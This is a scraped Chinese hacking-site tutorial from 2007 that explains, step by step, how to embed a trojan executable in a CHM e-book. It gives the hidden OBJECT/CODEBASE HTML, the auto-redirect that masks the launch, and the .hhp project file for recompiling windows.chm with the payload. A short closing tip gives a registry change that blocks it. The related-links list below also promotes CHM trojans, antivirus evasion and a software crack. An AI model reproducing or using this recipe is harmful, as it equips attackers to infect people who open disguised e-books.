|
CHM电子书木马制作全攻略
http://www.hackbase.com 2007-8-2 1 黑客基地 |
|
说起CHM格式的电子书,可能无人不晓。有很大一部分电子图书都是使用CHM格式编译的。由于木马程序嵌入了电子书中,杀毒软件无法对其中存在的病毒等破坏性程序进行检查和清除。想知道这类电子书的制作方法吗?今天笔者就以实例形式和大家一道分析一下。
Step1:要想制作一个完美的CHM木马,当然少不了电子书的制作工具。在这里我们选择微软自家的Microsoft HTML Help Workshop。
当然了,作为木马程序的载体,一本CHM电子书是少不了的。本文演示所采用的是系统帮助文件中现成的windows.chm。 Step2:首先运行windows.chm,在右侧的空白处点击右键菜单,进入"属性"页。记录下该电子文档的默认主页default.htm和标题栏文字Windows 2000两项信息。
Step3:接下来需要制作一个可以让木马运行并且同时可以自动跳转到windows.chm默认主页的网页,例如cytkk.htm,源代码如下:
<HTML>
<HEAD> <meta http-equiv="refresh" content="3;url='default.htm'"> </HEAD> <BODY> <OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobje ct" CODEBASE="灰色按钮克星.exe"> </OBJECT> </BODY> </HTML> 代码注释:
content="3是转向时间(单位为秒),可以根据木马程序的运行时间自行修改,建议不要超过5秒。其中的default.htm可以改为你用的电子书的默认主页名,灰色按钮克星.exe为木马程序名,你可以根据情况更改。
Step4:运行HTML Help Workshop,选择文件菜单下的反编译项。接下来在反编译后的目录中可以看到windows.hhc(对应帮助文档左侧的"目录"项)和windows.hhk(对应帮助文档左侧的"索引"项)。
Step5:现在要做的就是把木马程序复制到反编译后的目录中(本文中以插入灰色按钮克星.exe这款小软件为例),并在此目录下建立一个例如文件名为cytkk.hhp的文件(用记事本即可),代码如下:
[OPTIONS]
Compatibility=1.1 or later Compiled file=windows.chm Default Window=Main Language=0x804 中文(中国) [WINDOWS] Main="Windows 2000","windows.hhc","windows.hhk","cytkk.htm",,,,,,0x420,150,0x104E,,0x0,0x0,,,,,0 [FILES] cytkk.htm 灰色按钮克星.exe
代码注释:
windows.chm可以改为你要生成的电子书名,而灰色按钮克星.exe则把它改为要嵌入的木马程序名,Main=后面改为在第一步时你得到的标题栏文字,windows.hhc及windows.hhk分别改为第三步得到的文件名。
最后用HTML Help Workshop打开cytkk.hhp,点击"文件"→"编译",待提示完成后,就可以在目标目录中发现已经编译好的带有木马的电子书windows.chm了。
高手传经:防之有道
我们不可能对下载的每本书都进行反编译工作来加以检查,那是会累死人的。笔者建议大家在下载电子书籍时,尽量去知名网站下载。
另外读者朋友们也可以修改本地安全属性,使CHM木马无法在本地运行木马程序,将注册表"HKEY_CURRENT_U
SER/Software/Microsoft/Windows/Current Version/Internet Settings/Zones/0"下的1004项的值由原来十进制的0改为十六进制的3。 |
相关推荐
SIMATIC S7-1200 PID串级控制实战:基于PID_Temp的恒温箱精准调控
本文详细介绍了使用SIMATIC S7-1200的PID_Temp指令实现恒温箱串级控制的实战方法。通过主从PID控制器分工协作,结合PID_Temp的双模式输出、抗积分饱和和控制带功能,实现±0.5℃的高精度温度调控。文章涵盖硬件组态、TIA Portal配置、参数整定技巧及故障排查,为工业温控提供可靠解决方案。
Colbalt Strike之CHM木马
一、命令执行(calc)木马生成 1.生成木马 首先创建一个根目录,文件名为exp 在文件夹里创建两个目录和一个index.html文件 在两个目录里分别创建txt文件或html文件 index.html写入以下内容 &lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&
Win7电脑怎么清理temp文件?Win7电脑清理temp文件方法介绍
Win7电脑怎么清理temp文件?我们经常浏览一些网页,因此会生成临时文件。这些临时文件将存储在temp文件夹中。很多用户不知道如何清理临时文件夹,下面小编就和大家分享。3、单击:临时文件夹,编辑-全选-删除。以上是win7系统清除temp文件夹中的操作方法。2、单击:C驱动器-Windows。5、单击:临时,编辑-全选-删除。2、单击:C磁盘-用户。4、单击:本地设置。清理临时文件夹操作方法。
CHM木马
一. 弹出计算器 打开EasyCHM,工具 -> 反编译指定的CHM,选择目标文件和反编译工作目录。 进入反编译的工作目录,找到并编辑主页文件,这里是index.html 在<body></body>标签内部插入执行代码,这里以弹出计算器为例 代码 <OBJECT id=x classid="clsid:adb880a6-d...
病毒技术编写揭密CHM
病毒技术编写揭密CHM
调用hh.exe解压chm文件
因为一直喜欢用ReadBook看书,所以见到chm就先想解压成html的-_-!!很久以前写的,好像是因为当时下了一个这样的软件但有注册限制...:)功能:解压到某一文件夹(默认为在chm所在文件夹下新建一个与chm文件同名的).其中,双击Edit前面的label打开对话框.实现:调用windows目录下的hh.exe(很简单吧:)
CHM木马(简单高效)
这是现在网上比较普遍的一种中马方法,主要就是利用CHM可以将可执行文件包含其中,并且利用简单的html就可以让程序自动运行,制作方法非常简单,主要就是木马的选择,由于不知道对方机器上是否用了杀毒软件,也不知道是什么杀毒软件,所以要用绝对不被查杀的木马或是后门程序(自己加壳的方法也不错‘最好是一些不太知名的加壳软件),另外还有用到CHM制作工具,推荐QuickCHM。将木马和html文件放在同一文件
DeepSeek+知网研学:三步搞定文献矩阵与对比分析(实战指南)
本文提供了一套高效实用的文献管理分析实战指南,详细介绍了如何结合DeepSeek大模型与知网研学平台,通过三个核心步骤快速完成文献梳理。该方法能自动提炼文献核心要素、生成结构化对比矩阵,并辅助发现研究空白,显著提升学术研究者的文献分析效率与深度。
[红队apt]CHM电子书攻击/电子教程攻击
CHM文档攻击思路整理
台达PLC DIAdesigner-AX 编程笔记
1、登陆台达思图软件网站,选择Download,登陆注册好的账号,下载DIAInstaller,下载后安装(安装目录不要修改);
劳特巴赫 Trace32 调试使用教程
详细介绍如何使用trace32进行调试
chm混淆+qq白利用免杀360主动防御
最近有一个网友发给我一个QQ图20190427141352.chm的文件,让我看看是不是木马。根据经验,这种CHM一般都是里面有个html文件,通过js调用com控件,然后间接执行释放出来的木马文件。 使用7z打开这个chm文件,可以看到里面果然有一些exe文件以及dll文件。 双击执行这个chm文件后,果然里面的PcOL.exe被执行了 经过分析这个exe可不简单,不但有腾讯有效数字签名,还...
树莓派4B系统安装及SSH远程控制(简单易操作)
自从2022年4月树莓派官网更新了RaspberryPiImager版本v1.7.2后,便不再支持自行建立ssh文件,并用默认用户名pi和密码raspberry的方式进行远程控制(亲测不行,输密码时一直access denied)。但是该版本软件提供了烧录系统前设置ssh用户及密码功能。本文记录了系统安装和SSH远程操作步骤。........................
php里 没temp文档 如何创建temp文档 win7,Win7更改Temp文件夹存储位置的操作方法
Temp文件夹是一个临时文件夹,一般情况下,Temp文件夹是保存在系统盘\Windows\Temp目录下,可是每次操作电脑的时候都会产生大量的临时文件,都会保存在Temp文件夹中,时间久了,就会占用很多内存,要定期进行清理才行,那样太麻烦了,有什么方法能实现快速清理吗?接下来,小编就为大家介绍一下Win7快速清理Temp文件夹的技巧。1、先将这个Temp文件夹存放到D盘中,为了方便寻找,为Temp...
【NLP】文献翻译4——CH-SIMS:中文多模态情感分析数据集与细粒度的模态注释
CH-SIMS: A Chinese Multimodal Sentiment Analysis Dataset with Fine-grained Annotations of Modality摘要1. 介绍2. 相关工作2.1 多模态数据集2.2 多模态情感分析2.3 多任务学习3. CH-SIMS 数据集3.1 数据获取3.2 标注3.3 特征提取4. 多模式多任务学习框架4.1 单模态子网4.2 特征融合网络4.3 优化目标5. 实验5.1 基准5.2 实验的细节5.3 结果和讨论5.3.1 与
【毕设全程指导】基于YOLOv8的包装商品检测与可视化系统(SKU110K实战)
本文介绍了一个基于YOLOv8的包装商品检测与可视化系统毕业设计方案。项目采用SKU110K数据集,通过CSV转TXT格式转换适配YOLO模型训练,包含详细的环境搭建、模型配置和训练流程。系统实现了包装商品的自动化检测,并开发了Tkinter可视化界面进行交互式检测展示。该方案结合产业应用需求与技术深度,既具备实用价值,又能充分展示学生的技术能力,适合作为计算机视觉相关专业的毕业设计选题。整个项目从数据准备到界面开发完整覆盖,帮助学生系统掌握目标检测项目的完整实现流程。
win7临时文件_Win7系统电脑当中的temp文件是如何清理的?
Win7系统电脑中的temp文件改如何清理?我们使用电脑的过程当中经常会浏览一些网页,而在浏览网页的过程中会产生一些临时文件,而这些临时文件都是保存在temp文件夹当中的,那么我们应该怎么清理temp文件夹的临时文件呢?接下来就为大家分享win7系统清理temp文件夹操作方法。清理方法:一、C:WINDOWSTemP,系统公用1、打开计算机。如图所示:2、点击:C盘 -- Windows。如图所示...
CelebA-HQ数据集下载【详细明了版】分辨率包括【64,128,256,512,1024】
CelebA-HQ 是在ICLR2018上,nVidia发表了一篇名为Progressive Growing of GANs for Improved Quality, Stability, and Variation的论文,文中通过训练高分辨率GAN生成了一个新的人脸数据集CelebA-HQ.CelebA是港科大汤晓鸥组收集的人脸数据集(总共200k图片),包括了人脸特征点(landmark),人脸属性(attribute)等信息,详细介绍参考链接[1]和[2]
KEBA E-7TEMP-7温度模块
摘要:KEBAE-7TEMP-7是一款工业级温度采集模块,支持4-8路热电偶输入,具备高精度测量和冷端补偿功能。该模块采用DIN导轨安装,兼容KEBAKePlast控制平台,适用于注塑、包装、热成型等行业的温度监控系统,能精确控制模具、热流道、热封刀等设备的温度,确保生产工艺稳定和产品质量。
一种抑制undershoot/overshoot锐化算法介绍
一、USM 当增强图像的边缘、细节信息等高频信息时,图像的锐化视觉效果会得到较大提升。提高图像锐化的一种经典算法为非锐化掩码(UNsharp Masking)技术。该技术首先通过高通滤波并与缩放系数相乘,其结果再与原始图像相加,即可对高频信息进行增强。其主要的原理如下图所示: 其中,对图像进行高通滤波的另一种等效方法为:原始图像减去原始图像的低通滤波图像,其结果被称之为“掩码”。因此,上述的USM方法可以表示为: 原始图像减去原始图像低通滤波之后的图像得到掩码M。 2.掩...
数学建模模型总结
这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!
Windows 7登陆时自动创建TEMP临时文件夹问题解决
最近遇到一个问题,那就是在windows7登陆的时候发现每次登陆配置的东西都不见了,就跟新系统一样,明明安装了好多东西在桌面上却一个也找不着了。 后来发现在C:\Users目录下生成了一个TEMP的临时目录,而用户名下的文件资料为空,而这个TEMP目录每次在退出登录的时候就会自动消失,再次登录的时候又自动创建了,导致每次登录的时候都没法存储用户的使用记录。 ...
霍尼韦尔SoftMaster使用说明
霍尼韦尔SoftMaster使用说明
计算机用户名显示TEMP,windows7登陆创建TEMP临时个人配置文件夹解决方法-系统操作与应用 -亦是美网络...
如果Windows 7登录时在C:\user目录下创建一个名为TEMP的临时个人配置文件夹,这是因为账号和原来的个人配置文件的关联配破坏,系统会自动将注册表中原来的键值备份(在原来的后面加.bak),然后新建一个注册表键值,并将个人配置文件指定为C:\user\TEMP如果出现这种情况,请将按照以下步骤操作1. 以其它账号登陆系统2. 备份出问题的个人配置文件夹到一个适当的位置,然后删除该个人配置...
IMSL CNL 7.0.0 (x86-64)Crack
IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件
老版QQ原生表情gif动态
这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。
Win7 域用户登录后Profile变成Temp文件
前段时间有人问我,Win7系统加入域登录后用户配置文件变成TEMP文件夹下的问题: 正常输入密码登陆系统之后,发现欢迎两字之后出现的不是常见的桌面而是正在准备桌面的提示字样。之后,进入到桌面就变成了默认桌面,文档和桌面内容完全消失。经过研究发现在系统盘用户文件夹下多了一个名为TEMP的用户文件夹。虽然登陆窗口时和登陆之后开始的显示都是为之前的系统管理员Administrator用户,但是实际上用...
KEBA E-7-TEMP温度模块
KEBAE-7-TEMP是一款工业级温度测量模块,支持热电偶和RTD等多种传感器输入,提供多路高精度温度采集。该模块采用模块化设计,可导轨安装,具有抗干扰能力强、测量范围广等特点,适用于注塑机、工业炉窑等设备的温度监测与控制,确保工业生产过程的稳定性和精确性。
windows7登陆创建TEMP临时个人配置文件夹解决方法(W7KB)
windows7登陆创建TEMP临时个人配置文件夹(W7KB) 如果Windows 7登录时在C:\user目录下创建一个名为TEMP的临时个人配置文件夹, 这是因为账号和原来的个人配置文件的关联配破坏,系统会自动将注册表中原来的键值备份(在原来的后面加.bak),然后新建一个注册表键值,并将个人配置文件指定为C:\u...
西门子s300编程实例,【西门子S7-300PLC 编程 】该死的 FC+Temp
start和driver是外部输入输出接口。例:如果在TEMP接口中新建一个变量A,数据类型为BOOL,地址0.01,正确的FC程序如下:|#start#A|--| |---------()||#A#driver|--|/|---------()2,错误的例子:|#A#driver|--|/|---------()||#start#A|--| |---------()分析:程序的扫...
1026




被折叠的 条评论
为什么被折叠?



